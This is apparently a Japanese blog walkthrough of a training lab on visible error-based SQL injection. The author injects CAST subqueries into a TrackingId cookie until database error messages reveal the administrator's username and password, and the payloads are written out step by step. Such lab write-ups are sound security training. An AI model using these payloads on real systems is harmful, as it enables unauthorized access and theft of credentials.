Hello there, ('ω')ノ
目に見えるエラーベースのSQLインジェクションを。
このラボにはSQLインジェクションの脆弱性が含まれていて。
アプリケーションはアナリティクスのためにトラッキングクッキーを使用し、
送信されたクッキーの値を含むSQLクエリを実行して。
ただし、SQLクエリの結果は返されず。
データベースには、usersという別のテーブルがあり、
その列にはusernameとpasswordがあって。
このラボを解決するためには、管理者ユーザのパスワードを
漏洩させる方法を見つけ、そのアカウントにログインして。
はじめにラボにいつものようにログインをしてみると。
ログインできないようで。
Burp Suiteの履歴を確認することに。
TrackingIdという怪しいCookieを見つけたのでリピータへ。
まずは、TrackingIdの末尾にシングルクォートを追加し、リクエストを送信すると。
TrackingId=NS9R9Tjrs3AUsRjs'
レスポンスのエラーメッセージで、TrackingIdの値が表示されて。
クエリ内に閉じられていない文字列リテラルがあるということで。
リクエストに、エラーを引き起こしている余分なシングルクォート文字を含めずに
クエリの残りの部分をコメントアウトすることに。
TrackingId=NS9R9Tjrs3AUsRjs'--
リクエストを送信するとエラーは表示されず。
これは、クエリが構文的に正しいということで。
次にSELECTサブクエリを追加することに。
返された値をintデータ型にキャストするようにクエリを変更して。
TrackingId=NS9R9Tjrs3AUsRjs' AND CAST((SELECT 1) AS int)--
リクエストを送信するとAND条件はboolean式である必要があるという
異なるエラーメッセージが表示されて。
よって、条件文を適切に修正するために比較演算子(=)を追加することに。
TrackingId=NS9R9Tjrs3AUsRjs' AND 1=CAST((SELECT 1) AS int)--
リクエストを送信するとエラーは表示されず。
これは、これが再び有効なクエリであることを示しているので
データベースからユーザ名を取得するようにSELECT文を変更して。
TrackingId=NS9R9Tjrs3AUsRjs' AND 1=CAST((SELECT username FROM users) AS int)--
送信すると最初のエラー メッセージが再び表示され。
文字数制限により、クエリが切り詰められているように見えて。
その結果、クエリを修正するために追加したコメント文字は含まれず。
よって、下記のようにTrackingIdの値を削除して送信すると。
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
データベースによって生成されたように見える新しいエラーメッセージが表示され。
これは、クエリが正しく実行されたが、予期しない複数の行が返されたために
エラーが発生していることを示唆していて。
ERROR: more than one row returned by a subquery used as an expression
そこで、クエリを1つの行だけ返すように修正して。
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
リクエストを送信するとエラーメッセージがユーザテーブルから
最初のユーザ名を漏洩して。
ERROR: invalid input syntax for type integer: "administrator"
administratorがテーブル内の最初のユーザであることがわかったので、
クエリを再度修正してパスワードを漏洩させることに。
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
盗まれたパスワードを使用して管理者としてログインしすると。
i3k9dk0gkcgadsg2anuo
クリアできて。
Best regards, (^^ゞ